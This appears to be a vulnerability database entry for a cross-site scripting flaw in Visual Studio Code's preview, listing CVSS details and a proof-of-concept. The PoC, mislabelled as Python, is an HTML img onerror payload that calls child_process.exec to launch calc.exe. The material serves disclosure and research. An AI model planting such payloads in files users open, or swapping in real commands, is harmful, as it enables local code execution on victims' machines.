Improper neutralization of script-related html tags in a web page (basic xss) in Visual Studio Code allows an unauthorized attacker to execute code locally.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Visual Studio Code (具体受影响版本未在提供文本中明确，请参考官方公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
// PoC for CVE-2026-41611
// Save this content in a file (e.g., README.md) and open in Visual Studio Code.
// Ensure the preview mode is active to trigger the script.
-->
<img src="x" onerror="
// Demonstrate XSS execution
console.log('XSS Triggered in VS Code');
alert('VS Code CVE-2026-41611 PoC Executed');
// Attempt local code execution (Conceptual)
// In a real exploit scenario, this could leverage Node.js integration
try {
require('child_process').exec('calc.exe');
} catch (e) {
console.log('Node context access restricted or not available in this context');
}
">